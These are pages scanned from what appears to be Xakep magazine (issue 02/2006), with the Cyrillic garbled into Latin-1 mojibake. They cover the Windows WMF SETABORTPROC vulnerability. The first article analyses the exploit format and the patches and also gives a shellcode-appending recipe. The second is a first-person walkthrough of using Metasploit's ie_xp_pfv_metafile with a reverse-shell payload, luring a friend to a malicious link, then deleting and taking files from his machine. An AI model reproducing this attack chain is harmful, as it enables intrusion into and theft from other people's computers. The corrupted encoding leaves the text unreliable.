ñòðóêòóðà ôðåéìîâûõ çàïèñåé typedef struct _StandardMetaRecord { DWORDSize;//ïîëíûé ðàçìåð çàïèñè â ñëîâàõ WORD Function;//íîìåð ôóíêöèè è êîëè÷åñòâî ïàðàìåòðîâ WORD Parameters[];//çíà÷åíèÿ ïåðåäàâàåìûõ ïàðàìåòðîâ } WMFRECORD; ÄÈÇÀÑÝÌÁËÈÐÓÅÌ ÑÏËÎÈÒ Ïîñëåäíÿÿ çàïèñü âñåãäà èìååò âèä 0003h 0000h 0000h (ðàçìåð çàãîëîâêà — 03h ñëîâà, ôóíêöèÿ — NULL, ïàðàìåòðîâ íåò), ÷òî èíòåðïðåòèðóåòñÿ êàê «êîíåö ìåòàôàéëà». Òåïåðü ïîêóðèì è íà÷íåì äèçàññåìáëèðîâàòü exploit.wmf.  íà÷àëå èäåò ñòàíäàðòíûé WMF-çàãîëîâîê, áîëüøèíñòâî ïîëåé êîòîðîãî èãíîðèðóþòñÿ è ïîòîìó ìîãóò ïðèíèìàòü ëþáûå çíà÷åíèÿ. Ãëàâíîå, ÷òîáû FileType == 1, HeaderSize == 9, Version áûëî 100h èëè 300h, à FileSize ñîäåðæàëî äîñòîâåðíûé ðàçìåð ôàéëà, â ïðîòèâíîì ñëó÷àå IrfanViewr è äðóãèå ãðàôè÷åñêèå ïðîãðàììû îáëîìàþòñÿ ñ îòêðûòèåì ìåòàôàéëà. Ýòî îáñòîÿòåëüñòâî ìîæíî èñïîëüçîâàòü äëÿ ñîçäàíèÿ ïîëèìîðôíûõ ÷åðâåé è ïðî÷åé æèâíîñòè. Êñòàòè ãîâîðÿ, ôóíêöèÿ PlayMetaFile äîïóñêàåò áîëüøóþ âîëüíîñòü, íå ïðîâåðÿÿ ïîëÿ FileType è FileSize. Ê çàãîëîâêó ïðèìûêàåò ïåðâàÿ ôðåéìîâàÿ çàïèñü, ñîäåðæàùàÿ âûçîâ ôóíêöèè META_ESCAPE (êîä 626h) ñ ïîäôóíêöèåé SETABORTPROC (êîä 0009h), ïðèíèìàþùåé äâà ïàðàìåòðà: äåñêðèïòîð êîíòåêñòà óñòðîéñòâà (â äàííîì ñëó÷àå ðàâåí 16h, íî ìîæåò áûòü ëþáûì) è ìàøèííûé êîä, êîòîðîìó áóäåò ïåðå-

072

íåîôèöèàëüíûé hotfix îòñåêàåò âñåõ èçâåñòíûõ ÷åðâåé, ëîìÿùèõñÿ â META_ESCAPE

äàíî óïðàâëåíèå, òî åñòü shell-êîä. Êîäû âñåõ äîêóìåíòèðîâàííûõ ôóíêöèé îïèñàíû â WINGDI.H (ñì. «/* Metafile Functions */»), òàì æå ìîæíî íàéòè è Escape-ïîñëåäîâàòåëüíîñòè. Äèçàññåìáëèðîâàíèå GDI32.DLL ïîêàçûâàåò, ÷òî Windows ñ÷èòûâàåò òîëüêî ìëàäøèé áàéò ôóíêöèè (äëÿ Escape ýòî 26h), à â ñòàðøåì ïåðåäàåò êîëè÷åñòâî ïàðàìåòðîâ, êîòîðîå íèêòî íå ïðîâåðÿåò! Òàêèì îáðàçîì, ÷òîáû ðàñïîçíàòü çëîâðåäíûé WMF-ôàéë, íåîáõîäèìî ïðîàíàëèçèðîâàòü âñå ôðåéìîâûå çàïèñè â ïîèñêàõ ôóíêöèè 26h, ïîäôóíêöèè 9h. Ðàçìåð ôðåéìîâîé çàïèñè íåîáÿçàòåëüíî äîëæåí ñîîòâåòñòâîâàòü äåéñòâèòåëüíîñòè, à òàêæå ñîâåðøåííî íåîáÿçàòåëüíî âñòàâëÿòü çàìûêàþùóþ ôðåéìîâóþ çàïèñü, êàê òîãî òðåáóåò WMF-ñïåöèôèêàöèÿ, ïîñêîëüêó, êîãäà shell-êîä ïîëó÷èò óïðàâëåíèå, âñå ñïåöèôèêàöèè èäóò ëåñîì. ×òî æå êàñàåòñÿ ñàìîãî shell-êîäà, òî îí âïîëíå ñòàíäàðòåí. Èëüôàê îïðåäåëÿåò áàçîâûé àäðåñ KERNEL32.DLL ÷åðåç PEB, (÷òî íå ðàáîòàåò íà 9x), ðàçáèðàåò òàáëèöó ýêñïîðòà, íàõîäèò àäðåñ API-ôóíêöèè LoadLibraryA, çàãðóæàåò USER32.DLL è âûâîäèò «ðóãàòåëüñòâî» ÷åðåç MessageBoxA. ×òîáû shell-êîä ðàáîòàë, ïîä 9x íåîáõîäèìî ïåðåïèñàòü ôóíêöèþ GetKrnl32addr, íàó÷èâ åå íàõîäèòü KERNEL32.DLL ïðÿìûì ïîèñêîì â ïàìÿòè. Ìû óæå ïèñàëè îá ýòîì â ñòàòüå «Òåõíèêà íàïèñàíèÿ ïåðåíîñèìîãî shell-êîäà», òàê ÷òî íå áóäåì ïîâòîðÿòüñÿ, à ëó÷øå ðàçáåðåì äðóãîé ýêñïëîéò, êîòîðûé áóäåò ïîñëîæíåå. Ïóñòü ýòî áóäåò Metasploit Framework (åãî ìîæíî ñêà÷àòü ñ www.metasploit.com èëè âçÿòü íà íàøåì äèñêå). Ýòî ïîëèìîðôíûé ýêñïëîéò, ñ äâèæêîì öåëèêîì íàïèñàííûì íà Ïåðëå, ñïîñîáíûé íåñòè ëþáóþ áîåâóþ íà÷èíêó â ïåðåìåííîé PayLoad. Ãåíåðàöèÿ WMF-ôàéëà ïðîèñõîäèò òàê æå, êàê è ïðîøëûé ðàç, òîëüêî òåïåðü íåêðèòè÷íûå ïîëÿ âûáèðàþòñÿ ñëó÷àéíî, à ñàì shell-êîä âíåäðÿåòñÿ â ïðîèçâîëüíîå ìåñòî ìåæäó «ìóñîðíûìè» ôðåéìàìè, ÷òî îñëåïëÿåò ïðèìèòèâíûå ñêàíåðû è áðàíäìàóýðû. Ïîñëåäîâàòåëüíîñòü 26h ?? 09h 00h îñòàåòñÿ ïîñòîÿííîé, íî îíà ñëèøêîì êîðîòêà äëÿ îáíàðóæåíèÿ, à ðàçáèðàòü âñå ôðåéìû âðó÷íóþ ñìîæåò òîëüêî ñïåöèàëüíûì îáðàçîì íàïèñàííûé ñêàíåð. Ìàëåíüêèé íþàíñ: ó Èëüôàêà shell-êîä ðàñïîëàãàåòñÿ çà íåçíà÷àùèì ñëîâîì hDC, à â Metasploit’å îí ñëåäóåò ñðàçó æå çà ïîäôóíêöèåé SETABORTPROC, âî âñÿêîì ñëó÷àå òàê êàæåòñÿ ïðè áåãëîì àíàëèçå ëèñòèíãà. Ïåðåìåííàÿ $shellcode ñîñòîèò èç äâóõ ÷àñòåé: ôèêòèâíîãî ïîëÿ Space è áîåâîé íà÷èíêè, ðàñïîëîæåííîé íèæå. ×òîáû íàïèñàòü ñâîé ýêñïëîéò, íåîáõîäèìî ñãåíåðèðîâàòü WMF-çàãîëîâîê, äîïèñàòü ôðåéìîâóþ çàïèñü META_ESCAPE/ SETABORTPROC è ïðèöåïèòü shell-êîä.  èñõîäíûõ òåêñòàõ WMF-checker’à ñîäåðæèòñÿ ôàéë wmfhdr.wmf, â êîòîðîì óæå åñòü çàãîëîâîê è ãîòîâûé ôðåéì. Íå õâàòàåò òîëüêî áîåâîé íà÷èíêè, íî ýòî ëåãêî èñïðàâèòü êîìàíäîé copy /b wmfhdr.wmf + shell-code.bin exploit.wmf, ãäå shell-code.bin — ëþáîé shell-êîä, âûäåðíóòûé èç ÷åðâÿ èëè ðàçðàáîòàííûé ñàìîñòîÿòåëüíî. ÊÀÊ ÇÀÙÈÙÀÒÜÑß Ïðåæäå ÷åì çàùèùàòüñÿ, íåïëîõî áû âûÿñíèòü: óÿçâèìà ëè òâîÿ ñèñòåìà? Ìîæíî, êîíå÷íî, èñïîëüçîâàòü WMF-checker îò Èëüôàêà, íî îí ðàáîòàåò òîëüêî íà NT-ïîäîáíûõ ñèñòåìàõ. Ïîïðîáóåì åãî äîðàáîòàòü: áåðåì wmfhdr.wmf, äîïèñûâàåì ê íåìó CCh è ñêàðìëèâàåì åãî ðàçëè÷íûì ãðàôè÷åñêèì ïðîãðàì-

XÀÊÅÐ 02 /86/ 06


ÏÐÅÆÄÅ ×ÅÌ ÇÀÙÈÙÀÒÜÑß, Í ÅÏËÎÕÎ ÁÛ ÂÛßÑÍÈÒÜ:: ÓßÇÂÈ ÌÀ ËÈ ÒÂÎß ÑÈÑÒÅÌÀ? ìàì. Åñëè ñèñòåìà óÿçâèìà, òî íà ýêðàíå ïîÿâèòñÿ ñîîáùåíèå î êðèòè÷åñêîé îøèáêå, à EIP áóäåò óêàçûâàòü íà INT 03h. Ýòî îçíà÷àåò, ÷òî ÷åðâü ìîæåò íàáðîñèòüñÿ â ëþáóþ ñåêóíäó è çàðàçèòü, åñëè óæå íå çàðàçèë. Îôèöèàëüíàÿ çàïëàòêà îò Microsoft äîñòóïíà ïî àäðåñó: www.microsoft.com/technet/security/Bulletin/ms06-001.mspx, à òàêæå ëåæèò íà íàøåì äèñêå. Êàê âñåãäà, ýòî çäîðîâûé (íà ïîëìåòðà, à òî÷íåå äàæå ~600 Êá) ôàéë, äåëàþùèé íåïîíÿòíî ÷òî è íåïîíÿòíî çà÷åì. Óñòàíîâêà íîâûõ çàïëàòîê ÷àñòî ñîïðîâîæäàåòñÿ ïðîáëåìàìè, âûëåçàþùèìè ñîâñåì â íåîæèäàííûõ ìåñòàõ. ×òî æå äåëàòü? À âîò ÷òî. Ñåé÷àñ ìû ñ òîáîé ïîñìîòðèì, ÷òî íàõîäèòñÿ âíóòðè ýòîé çàïëàòêè. Ïåðâûé äåëîì âîçüìåì ïàò÷ ñ äèñêà (ôàéë Windows2000-KB912919x86-RUS.EXE), ïîäíèìåì hiew è íàéäåì ñèãíàòóðó MSCF. Îíà äîëæíà âñòðåòèòüñÿ, êàê ìèíèìóì, äâàæäû. Ïåðâûé ðàç — â èñïîëíèìîì ôàéëå èíñòàëëÿòîðà (ïî ñìåùåíèþ 00004422h), âòîðîé — â íà÷àëå cab-àðõèâà (00009C00h), ïåðåä êîòîðûì, êàê ïðàâèëî, èäåò äëèííàÿ öåïî÷êà «DINGPADDINGXXPAD», îñòàâëåííàÿ äëÿ âûðàâíèâàíèÿ, à äàëüøå — áåñïîðÿäî÷íî ðàçáðîñàííûå èìåíà ôàéëîâ. Ïîäãîíÿåì êóðñîð ê «MSCF», íàæèìàåì <*>, à çàòåì <Ctrl>+<End>. Íàæèìàåì <*> åùå ðàç è êîïèðóåì ñîäåðæèìîå âûäåëåííîãî áëîêà â ôàéë ïî <F2>. Âûäðàííûé cab-àðõèâ ëåãêî ðàñïàêîâàòü îáû÷íûì rar’îì.  íåì ëåæàò, ãëàâíûì îáðàçîì, ñëåäóþùèå ôàéëû:

* GDI32.DLL. Ýòà áèáëèîòåêà áûëà îáíîâëåíà: èçìåíèëàñü äàòà è ðàçìåð, ïðè÷åì ðàçìåð èçìåíèëñÿ â ìåíüøóþ ñòîðîíó, ÷òî ñîâñåì íå õàðàêòåðíî äëÿ Microsoft. Ñóäÿ ïî øòàìïó âðåìåíè, îí áûë ñêîìïèëèðîâàí 29 äåêàáðÿ â 13:17:07, à äàòà ñîçäàíèÿ/ïîñëåäíåé ìîäèôèêàöèè óñòàíîâëåíà íà 30.12.05/08:17, òî åñòü ïðîãðàììèñòû ñðàáîòàëè î÷åíü îïåðàòèâíî, à âñå îñòàëüíîå âðåìÿ çàíÿëî òåñòèðîâàíèå èëè, âîîáùå, íåïîíÿòíî ÷òî. * MF3216.DLL. Ýòîò ôàéë îñòàëñÿ áåç èçìåíåíèé. * SPMSG.DLL. Ýòà dll ïðåäñòàâëÿåò ñîáîé ðåñóðñ ñ òåêñòîâûìè ñîîáùåíèÿìè. Íè÷åãî óæàñíîãî â ýòîì àïäåéòå íåò, òàê ÷òî ìîæåøü áåçáîÿçíåííî åãî ñåáå óñòàíàâëèâàòü :). Õîòÿ ÿ îãðàíè÷èëñÿ ëèøü àïäåéòîì îò Èëüôàêà. ÊÑÒÀÒÈ, ÎÁ ÈËÜÔÀÊÅ Èëüôàêó ÿ âåðþ áîëüøå, ÷åì ñåáå. Îïûò ïðîãðàììèðîâàíèÿ ó íåãî îãðîìíûé è, ãëàâíîå, ê hotfix’ó ïðèëàãàþòñÿ èñõîäíûå êîäû (http://castlecops.com/downloads-file-499-detailsWMF_hotfix_source_code.html), èç êîòîðûõ ÿñíî, êàê îí ðàáîòàåò. Óæå îòêîìïèëèðîâàííûé ôàéë äîñòóïåí ïî àäðåñó: http://castlecops.com/downloads-file-496-detailsIlfaks_Temporary_WMF_Patch.html. Èíñòàëëÿòîð êîïèðóåò êðîøå÷íóþ (âñåãî 3 Êá) äèíàìè÷åñêóþ áèáëèîòåêó wmfhotfix.dll â ñèñòåìíûé êàòàëîã Windows è ìîäèôèöèðóåò âåòêó ðååñòðà HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\ AppInit_DLLs, ïðîåöèðóÿ DLL íà âñå ïðîöåññû, çàãðóæàþùèå USER32.DLL. Îòòóäà, èç DllMain, îí çàãðóæàåò GDI32.DLL, îïðåäåëÿåò àäðåñ ôóíêöèè Escape è, ïðåäâàðèòåëüíî ïðèñâîèâ íóæíûå àòðèáóòû âûçîâîì VirtualProtect, äîïèñûâàåò ê åå íà÷àëó êðîõîòíûé thunk, àíàëèçèðóþùèé àðãóìåíòû, è åñëè func == SETABORTPROC, òî âîçâðàùàåò xor eax, eax/pop ebp/retn 14h. Íåêîòîðûå àíòèâèðóñíûå ïðîãðàììû è çàùèòíûå ñèñòåìû (òàêèå, íàïðèìåð, êàê Lavasoft’s Ad-Watch) íå ïîçâîëÿþò ïðèëîæåíèÿì ìîäèôèöèðîâàòü âåòêó AppInit_DLLs, àâòîìàòè÷åñêè âîññòàíàâëèâàÿ åå ñîäåðæèìîå.  ýòîì ñëó÷àå hotfix íå ñðàáîòàåò, ïîêà ðàçáóøåâàâøåãîñÿ «ñòîðîæà» íå óäàñòñÿ óòèõîìèðèòü âðó÷íóþ. Êñòàòè ãîâîðÿ, ÷òîáû âðåìåííî îòêëþ÷èòü hotfix, äîñòàòî÷íî ïðîñòî ïåðåèìåíîâàòü wmfhotfix.dll.

XÀÊÅÐ 02 /86/ 06

ÇÀÊËÞ×ÅÍÈÅ Íàéäåííûé áàã ëèøíèé ðàç ïîäòâåðæäàåò ïå÷àëüíûé òåçèñ: ïðîãðàììíîå îáåñïå÷åíèå îò Microsoft êàòàñòðîôè÷åñêè íåíàäåæíî è äûðÿâî, êàê äóðøëàã.  êðèòè÷åñêè âàæíûõ èíôðàñòóêòóðàõ ëó÷øå èñïîëüçîâàòü àëüòåðíàòèâíûå îïåðàöèîííûå ñèñòåìû, íàïðèìåð, BSD èëè… Windows 98. Çàáàâíî, íî àòàêîâàòü 9x ñåé÷àñ íàìíîãî ñëîæíåå, ÷åì NT, è ÷åðâè ïîä íåé ïðàêòè÷åñêè íå ðàñïðîñòðàíÿþòñÿ. BINARY YOUR’S z

ÂÍÓÒÐÈ GDI32.DLL Äèçàññåìáëèðîâàíèå GDI32.DLL ëó÷øå âñåãî íà÷èíàòü ñ ôóíêöèè PlayMetaFileRecord/ PlayEnhMetaFileRecord. Ôóíêöèÿ PlayMetaFileRecord ïðåäñòàâëÿåò ñîáîé îãðîìíûé switch, íà case-âåòâÿõ êîòîðîãî ðàñïîëîæåíû âûçûâàåìûå GDI-ôóíêöèè, à PlayEnhMetaFileRecord èñïîëüçóåò òàáëè÷íûé ìåòîä âûçîâà: äèçàññåìáëåðíûé ôðàãìåíò PlayEnhMetaFileRecord èç GDI32.DLL W2KSP4 .text:77F70CB7 .text:77F70CBA .text:77F70CBB .text:77F70CBC .text:77F70CBE .text:77F70CC1 .text:77F70CC3 .text:77F70CC6 .text:77F70CC8 .text:77F70CCB .text:77F70CCD .text:77F70CD0 .text:77F70CD3 off_77F7B62C[eax*4]

mov push push mov cmp jb cmp ja push mov push push call

ebx, [ebp+arg_C] esi edi eax, [ebx] eax, 1 short loc_77F70CDF eax, 7Ah short loc_77F70CDF [ebp+arg_10] ecx, ebx [ebp+arg_8] [ebp+arg_4]

Ïîñëåäîâàòåëüíî ïåðåáèðàÿ îäíó ôóíêöèþ çà äðóãîé, ñìîòðèì, íå ïðèíèìàþò ëè îíè callback’è â êà÷åñòâå îäíîãî èç ñâîèõ àðãóìåíòîâ (ýòó èíôîðìàöèþ ìîæíî ïî÷åðïíóòü èç SDK), è åñëè ïðèíèìàþò, òî íå ïîçâîëÿþò ëè ïåðåäàâàòü óêàçàòåëü âíóòðè WMF-ôàéëà. Åñòü ïîäîçðåíèå, ÷òî ýòî íå ïîñëåäíÿÿ äûðà â GDI :)

îïðåäåëåíèå äèñëîêàöèè shell-êîäà â ïàìÿòè ïðè ïðîèãðûâàíèè ìåòàôàéëà ôóíêöèåé PlayMetaFile

073


TEXT ETOO / /

ÌÅÒÀÂÅÑÅËÜÅ ÍÀ ÏÐÀÊÒÈÊÅ ÏÐÀÊÒÈ×ÅÑÊÎÅ ÈÑÏÎËÜÇÎÂÀÍÈÅ ÓßÇÂÈÌÎÑÒÈ ÔÀÉËΠ ÎÁÐÀÁÎÒÊÅ WMF-Ô

ÒÛ, ÁÅÇ ÑÎÌÍÅÍÈÉ, ÑËÛØÀË Î ÍÎÂÎÌ ÌÅÃÀÏÎÏÓËßÐÍÎÌ ÁÀÃÅ Â ÏÐÎÄÓÊÒÀÕ “ MICROSOFT, ÏÎÇÂÎËßÞÙÅÌ ÒÂÎÐÈÒÜ ÍÀÑÒÎßÙÈÅ ×ÓÄÅÑÀ. ÇÀÊÀ×ÀÒÜ ÏÎÑÅÒÈÒÅËÞ ÑÒÐÀÍÈÖÛ ÒÐÎßÍÀ? ÁÅÇ ÏÐÎÁËÅÌ! ÎÐÃÀÍÈÇÎÂÀÒÜ CONBACK-ÄÎÑÒÓÏ Ê ØÅËËÓ? ÊÀÊÈÅ ÂÎÏÐÎÑÛ! ÓÒÀÙÈÒÜ ÏÀÐÎËÈ È ÂÑÅ ÒÀÊÎÅ ÏÐÎ×ÅÅ? ÝËÅÌÅÍÒÀÐÍÎ! ÁÀÃ, ÑÒÀÂØÈÉ ÏÓÁËÈ×ÍÛÌ Â ÑÀÌÛÉ ÐÀÇÃÀÐ ÍÎÂÎÃÎÄÍÅÉ ØÓÌÈÕÈ, ÏÐÎÄÎËÆÀÅÒ È ÏÎ ÑÅÉ ÄÅÍÜ ÃÐÎÇÈÒÜ ÏÀËÜ×ÈÊÎÌ ÂÑÅÌ ÏÎËÜÇÎÂÀÒÅËßÌ WINDOWS, ÍÅ ÑËÅÄßÙÈÌ ÇÀ ÎÁÍÎÂËÅÍÈßÌÈ ÑÈÑÒÅÌÛ. ÑÅÉ×ÀÑ ß ÐÀÑÑÊÀÆÓ Î ÒÎÌ, ÊÀÊ ÑÅÒÅÂÛÅ ÎÒÌÎÐÎÇ-

ÊÈ, ÍÅÃÎÄßÈ È ÏÐÎÕÈÍÄÅÈ ÍÀ ÏÐÀÊÒÈÊÅ ÈÑÏÎËÜÇÓÞÒ ÇËÎÂÐÅÄÍÛÉ ÑÏËÎÈÒ ÒÛ ÓÆÅ ÏÎÍßË? Äà, êîíå÷íî, ïîíÿë. Ðå÷ü èäåò î òåõ ñàìûõ áàãàõ ïðè îáðàáîòêå WMF-ôàéëîâ, êîòîðûì ïîñâÿùåíà îãðîìíàÿ ñòàòüÿ Êðèñà Êàñïåðñêè â ýòîì íîìåðå. Òàì Êðèñ ðàññêàçûâàåò îá èñòîðè÷åñêîì ïðîèñõîæäåíèè ýòîãî áàãà, ïîêàçûâàåò, êàê åãî èñïîëüçóþò ÷åðâè äëÿ ðàñïðîñòðàíåíèÿ è êàê ðàáîòàþò âñå óâèäåííûå èì ñïëîèòû. Íî âñå òî, î ÷åì îí òàì ãîâîðèò, íîñèò ñåðüåçíûé ñèñòåìíûé õàðàêòåð. Ñåãîäíÿ íàøà öåëü — ðàçîáðàòüñÿ ñ òåì, êàê ñåòåâûå çàñðàíöû íà ïðàêòèêå èñïîëüçóþò îïóáëèêîâàííûå â Ñåòè ýêñïëîéòû. Ñêàæó äàæå áîëüøå: ÿ ñàì îòíîøóñü ê ýòèì ñåòåâûì ïàðàçèòàì è ïîýòîìó èçëîæåíèå áóäó âåñòè îò ïåðâîãî ëèöà. Ðàññêàæó î òîì, êàê ÿ âåñåëèëñÿ íàä ñâîèìè äðóçüÿìè.

×òî-òî íåïîíÿòíîå. Áåãëûé îñìîòð ïðîãðàììû ïîçâîëÿåò âûñêàçàòü ïðåäïîëîæåíèå, ÷òî ýòî Perl-ñêðèïò. Îäíàêî ïî÷åìó íåò çíàêîìîé ñòðîêè ñ óêàçàíèåì ïóòè ê èíòåðïðåòàòîðó? ×òî-òî çäåñü íå òàê. È äåéñòâèòåëüíî, ÷òîáû ðàçîáðàòüñÿ ñ ýòèì, íóæíî ïåðåâåñòè àíãëèéñêèé òåêñò â çàãîëîâêå ñïëîèòà: «Ýòîò ôàéë — ÷àñòü Metasploit Framework è ìîæåò ðàñïðîñòðàíÿòüñÿ òàê, êàê òåáå õî÷åòñÿ; ïîñëåäíþþ âåðñèþ Framework ìîæíî ñëèòü ñ www.metasploit.com». Ýòî æèçíåóòâåðæäàþùåå ïðåäëîæåíèå, íàâåðíîå, çàñòàâèëî òåáÿ çàäóìàòüñÿ åùå áîëüøå. Åñëè òàê, òî òåáå áóäåò ïîëåçíî óçíàòü ïîáîëüøå î Metasploit Framework. Ïî÷èòàòü îá ýòîì àìáèöèîçíîì ïðîåêòå ìîæíî â ñîîòâåòñòâóþùåé âðåçêå. À ÿ ïåðåõîæó ê çëîâðåäíîé ïðàêòèêå :).

ÏÅÐÂÛÌ ÄÅËÎÌ ×òî íóæíî ñíà÷àëà ñäåëàòü? Ïðàâèëüíî: ñíà÷àëà íàäî ñêà÷àòü ñïëîèò ñ ëþáîãî èç ìíîãî÷èñëåííûõ ñàéòîâ, ãäå îí âûëîæåí. ß âîñïîëüçîâàëñÿ ñëåäóþùèì ëèíêîì: www.securitylab.ru/ poc/extra/243579.php. Åñëè òåáå ëåíü åãî ïåðåáèâàòü èç æóðíàëà, òî ìîæíî âîñïîëüçîâàòüñÿ ïîèñêîì íà ñàéòå èëè ïðîñòî âçÿòü ñîðåö ñïëîèòà ñ äèñêà. Íå çàáûâàé,èñïîëüçóÿ åãî, òû ñàì íåñåøü çà ýòî âñÿ÷åñêóþ ýòèêî-óãîëîâíóþ îòâåòñòâåííîñòü. Ïðè ïåðâîì âçãëÿäå íà ñïëîèò ó íåïîñâÿùåííîãî ÷åëîâåêà âîçíèêàåò ðÿä âîïðîñîâ.  ñàìîì äåëå, ÷òî îçíà÷àþò ñòðîêè â íà÷àëå ñïëîèòà?

ÇËÎ-ÏÐÀÊÒÈÊÀ Ïðîåêò ìåòàñïëîèò öåëèêîì íàïèñàí íà ïåðëå, ïîýòîìó âûïîëíÿòü åãî ìîæíî ïî÷òè íà ëþáîé ïëàòôîðìå. Ìíå äëÿ ýòîãî óäîáíî âîñïîëüçîâàòüñÿ øåëëîì íà ìàøèíå ïîä FreeBSD. Ñêà÷èâàåì ïðîåêò: wget http://www.metasploit.com/tools/framework-2.5-snapshot.tar.gz Ðàçàðõèâèðóåì åãî:

package Msf::Exploit::ie_xp_pfv_metafile;

 äèðåêòîðèè ñ ïðîåêòîì òû íàéäåøü íåìàëî ôàéëîâ è ïàïîê. Ïàïêà ñî ñïëîèòàìè íàçûâàåòñÿ âïîëíå àäåêâàòíî — exploits :). Èìåííî òàì ëåæàò âñå äîñòóïíûå ñïëîèòû, êàæäûé ñ ðàñøèðåíèåì pm. Åñëè òû ñäåëàåøü ls â ýòîé ïàïêå, òî óâèäèøü ñðåäè

use strict;

074

tar xzvf framework-2.5-snapshot.tar.gz cd framework-2.5

XÀÊÅÐ 02 /86/ 06


ñàéò ñ äîñòóïíûìè øåëë-êîäàìè ïîä win32 äëÿ Framework

âîò òàê íà ïðàêòèêå âûãëÿäèò èñïîëüçîâàíèå WMF-ýêñïëîéòà

íà ñàéòå metasploit.com ìîæíî ëåãêî è ïðîñòî ñîñòàâèòü øåëë-êîä ïî÷òè ïîä ëþáûå íóæäû

ñïèñîê äîñòóïíûõ ýêñïëîéòîâ

ïðî÷èõ ýêñïëîéò ñ èìåíåì ie_xp_pfv_metafile.pm. Ýòî è åñòü òà îòìû÷êà, î êîòîðîé ìû ñåãîäíÿ ãîâîðèì. Êàê âèäèøü, íîâûé ñïëîèò óæå çàãðóæåí â áàçó è æäåò, êîãäà ìû åãî çàþçàåì. ÍÀ×ÈÍÀÅÌ ÒÅÐÌÎßÄ Îñíîâíàÿ ïðîãðàììà, ñ êîòîðîé ÿ áóäó ðàáîòàòü, íàçûâàåòñÿ msfconsole. Êàê è âñå îñòàëüíîå, îíà íàïèñàíà íà ïåðëå. Çàïóñêàþ ïðîãðàììó:

./msfconsole Ïåðåäî ìíîé ïîÿâëÿåòñÿ ñâîåîáðàçíàÿ êîìàíäíàÿ ñòðîêà, äàëüíåéøèé äèàëîã ñ êîòîðîé âûãëÿäèò ñëåäóþùèì îáðàçîì:

msf > use ie_xp_pfv_metafile msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse PAYLOAD -> win32_reverse msf ie_xp_pfv_metafile(win32_reverse) > set LHOST 218.10.30.191 LHOST -> 218.10.30.191 msf ie_xp_pfv_metafile(win32_reverse) > exploit [*] Starting Reverse Handler. [*] Waiting for connections to http://0.0.0.0:8080/anything.wmf Ïåðâîé ñòðî÷êîé ÿ óêàçûâàþ íà òî, êàêîé ýêñïëîéò ÿ ñîáèðàþñü èñïîëüçîâàòü — ie_xp_pfv_metafile. Çàòåì îïðåäåëÿþ, êàêîé øåëë-êîä ÿ õî÷ó âûïîëíèòü.  áàçå ñ øåëë-êîäàìè íà www.metasploit.com äëÿ win32 åñòü öåëàÿ ãîðà øåë-êîäîâ è îïèñàíèé ê íèì. ß èñïîëüçóþ win32_reverse: øåëë-êîä âûïîëíèò cmd.exe, ïîäêëþ÷èòñÿ ê ìîåìó ñåðâåðó è îðãàíèçóåò ïàéï ñ êîìàíäíîé îáîëî÷êîé Windows. ×òîáû îïðåäåëèòü â øåëë-êîäå, êóäà íóæíî ïîäêëþ÷àòüñÿ, ÿ óñòàíàâëèâàþ îáÿçàòåëüíûé ïàðàìåòð LHOST â 218.10.30.191. Åñòü åùå ïàðàìåòð LPORT, êîòîðûé óêàçûâàåò íîìåð tcp-ïîðòà, êóäà áóäåò ïîäêëþ÷àòüñÿ øåëë-êîä. Íî ìåíÿ óñòðàèâàåò è çíà÷åíèå ïî óìîë÷àíèþ (4321). Ñëåäóåò îòìåòèòü, ÷òî ñàì ýêñïëîéò ie_xp_pfv_metafile ìîæåò ëîâèòü ýòè îáðàòíûå ñîåäèíåíèÿ, ïîýòîìó íåò íóæäû ïîäíèìàòü netcat. Ïîñëå òîãî êàê âñå îáÿçàòåëüíûå ïàðàìåòðû øåëë-êîäà îïðåäåëåíû, ÿ íàáèâàþ ñàìóþ ïðèÿòíóþ â ìèðå êîìàíäó exploit, ïîñëå ÷åãî ñïëîèò ñîîáùàåò, ÷òî îí ïîäíÿë ëîêàëüíûé web-ñåðâåð íà 8080 ïîðòó è æäåò, ïîêà êòî-íèáóäü ñêà÷àåò ñ íåãî ôàéë anything.wmf. Êàê òû ïîíèìàåøü, àäðåñ 0.0.0.0 óêàçûâàåò íà òî, ÷òî ïåðëîâûé ñêðèïò ïîëó÷àåò âñå äîñòóïíûå â ñèñòåìå èíòåðôåéñû. Íàïðèìåð, â ìîåì ñëó÷àå ÿäîâèòûé âåá-ñåðâåð âèñåë íà 218.10.30.191:8080. 218.10.30.191 — àäðåñ âíåøíåé ñåòåâîé êàðòî÷êè. Âðåìÿ ïîäñóíóòü ÿäîâèòóþ ññûëêó êîìó-íèáóäü èç ïðèÿòåëåé. ÏÎÄÑÎÂÛÂÀÅÌ ÑÑÛËÊÓ — Ñëóøàé, ÿ îõðåíåâàþ. Ñìîòðè êàêàÿ øòóêà: http://218.10.30.191/anything.wmf Îäíîé ýòîé ôðàçû õâàòèò, ÷òîáû ïðèÿòåëü Àëåøà ìèãîì íàæàë íà ññûëêó. Çëîáíàÿ êàðòèíêà ñêà÷àåòñÿ ê íåìó íà ìàøèíó è îòêðîåòñÿ ñòàíäàðòíûì ïðîñìîòðùèêîì â XP. Êàê ðàç â ýòîò ìîìåíò åãî ïðîöåññîð íà÷èíàåò âûïîëíÿòü ìîè èíñòðóêöèè, êîòîðûå ðåàëèçîâàíû â øåëë-êîäå. Âîò óæå ïåðâûé áàéòèê ñðûâàåòñÿ ñ åãî

XÀÊÅÐ 02 /86/ 06

ìîäåìà è ëåòèò ê ìîåìó ñåðâåðó: óñòàíàâëèâàåòñÿ ñîåäèíåíèå ñ cmd.exe, è ÿ ïîëó÷àþ ïîëíûé äîñòóï ê åãî ñèñòåìå. Âåðíåå, ïàéï ñ cmd.exe. Ìîæíî ïîñìîòðåòü, êàêèå ôàéëû íàõîäÿòñÿ ó íåãî íà ðàáî÷åì ñòàëå. Óäàëèòü íåíóæíîå. Ïîäêëþ÷èòüñÿ ê ftp-ñåðâåðó è ñêà÷àòü èíòåðåñíîå. Íàêîíåö ñîçäàòü íà ðàáî÷åì ñòîëå 1000 òåêñòîâûõ ôàéëîâ ñî ñëåäóþùèì ñîäåðæèìûì: Hello guy! Happy new year! Ha-ha! Greets to Xakep magazine, God and V. Putin!. ÁÅÇ ÂÍÈÌÀÍÈß Ñàì ïîíèìàåøü, òàêòèêà, êîòîðóþ ìû èçáðàëè, ïîäðàçóìåâàåò îäíîðàçîâóþ øóòêó íàä ïðèÿòåëåì. Åñëè õî÷åòñÿ áîëüøåãî, òî äåéñòâîâàòü íàäî íå òàê ïðÿìîëèíåéíî. Õîðîøèé ñïîñîá — 